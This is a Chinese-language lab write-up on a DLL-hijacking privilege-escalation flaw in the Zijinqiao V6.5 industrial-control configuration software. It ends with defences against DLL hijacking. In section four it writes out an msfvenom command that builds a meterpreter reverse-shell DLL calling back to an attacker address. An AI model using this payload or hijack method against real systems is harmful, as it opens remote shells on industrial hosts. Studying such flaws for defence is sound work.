一、 概述
工業控制軟件規模不斷擴大、復雜性不斷提高,工業控制系統自身的漏洞和攻擊面日益增大,本文針對一款工控軟件的dll劫持漏洞進行權限提升的研究。
二、 環境準備
a)工控組態軟件:紫金橋監控組態軟件 V6.5(官網下載中心有測試版可免費下載)
b)靶機:winxp sp3 vm
攻擊機:kali linux vm
c)將紫金橋監控組態軟件 V6.5下載后并在靶機中安裝
三、 尋找可劫持進程ProgMan.exe的dll
a)開啟進程ProgMan.exe,用procexp.exe查看進程加載的dll
b)與注冊表項進行對比
c)可見ws2help.dll滿足dll劫持的要求,使用DLL_Hijacker.py生成源碼CPP文件
d)將ws2help.cpp編譯生成ws2help.dll,然后放到ProgMan.exe的目錄下
e)打開程序ProgMan.exe,DLL_Hijacker.py的彈窗信息代碼可根據自己的需求進行適當修改,本文對DLL_Hijacker.py彈窗信息代碼進行了修改,采用的彈窗信息為“Notice, you've been hacked!”
四、 利用msf基于dll劫持實現權限提升
a)開啟kali,利用msfvenom指令創建反彈shell的dll文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.180.146 LPORT=1234 -f dll >/root/ws2help.dll
將生成的ws2help.dll拷貝至靶機:winxp sp3 vm
本文針對工控軟件嘗試dll劫持漏洞的挖掘過程以及權限提升,演示了小漏洞如果利用得當也可以產生比較大的危害效果。本文整理了dll劫持的防御幾點方法如下:
1.系統程序自檢
用戶或系統管理員對系統內運行的所有進程排查,查看是否存dll劫持漏洞。如若發現可疑軟件,立即去軟件產商的官網中找查相關的補丁或升級版本。
2.部署防護設備
針對遠程DLL劫持漏洞的利用一定會有遠程加載DLL的過程,防護設備,如IPS在對網絡流量的檢測時,可以發現并阻斷此類可疑的加載,甚至根據用戶配置可以對所有DLL文件的直接傳輸進行告警或阻斷。
3.程序加固
防御DLL劫持的方法最好還是程序自己本身的加固,比如,在程序運行后,遍歷當前路徑下的dll,確認MD5和數字簽名安全后,再進行后續的加載。
六、 參考鏈接
本文借鑒了一些大牛的分享,相關參考鏈接如下:
https://www.freebuf.com/articles/78807.html
https://www.cnblogs.com/Yang34/p/12539346.html
https://blog.csdn.net/m0_37552052/article/details/90287476
http://www.h3c.com/CN/D_201110/727410_30008_0.htm
【轉載聲明】本文屬于非攻研究院原創技術文章,已在FreeBuf發表(https://www.freebuf.com/vuls/236934.html)轉載請注明原始出處和作者。